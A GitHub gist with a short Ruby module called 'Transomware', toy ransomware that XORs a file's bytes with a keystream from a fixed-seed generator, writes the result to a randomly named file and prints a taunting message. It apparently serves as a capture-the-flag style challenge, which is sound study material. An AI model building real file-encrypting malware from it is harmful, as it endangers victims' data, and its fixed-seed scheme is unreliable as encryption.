Skip to content

Instantly share code, notes, and snippets.

@suryadana
Created December 18, 2016 13:58
Show Gist options
  • Save suryadana/4514d56beb7ed23d1034dcb1cd3f089e to your computer and use it in GitHub Desktop.
Save suryadana/4514d56beb7ed23d1034dcb1cd3f089e to your computer and use it in GitHub Desktop.
require "securerandom"
require "time"
module Transomware
@time = Time.parse("2016-11-26 11:35:58 +0800").to_i * 0xff
def Transomware.random
r = Random.new(@time)
r.seed
return r.rand(31337)
end
def Transomware.encrypt(file)
File.open(file, 'rb') do |f|
File.open("#{SecureRandom.hex(3)}.txt", 'wb') do |o|
o.write(
f.read.bytes.collect do |byte|
byte & 255 ^ Transomware.random
end.pack("C*")
)
end
end
puts "="*50
puts "HAHAHAHA, file #{file} kena Transomware!"
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment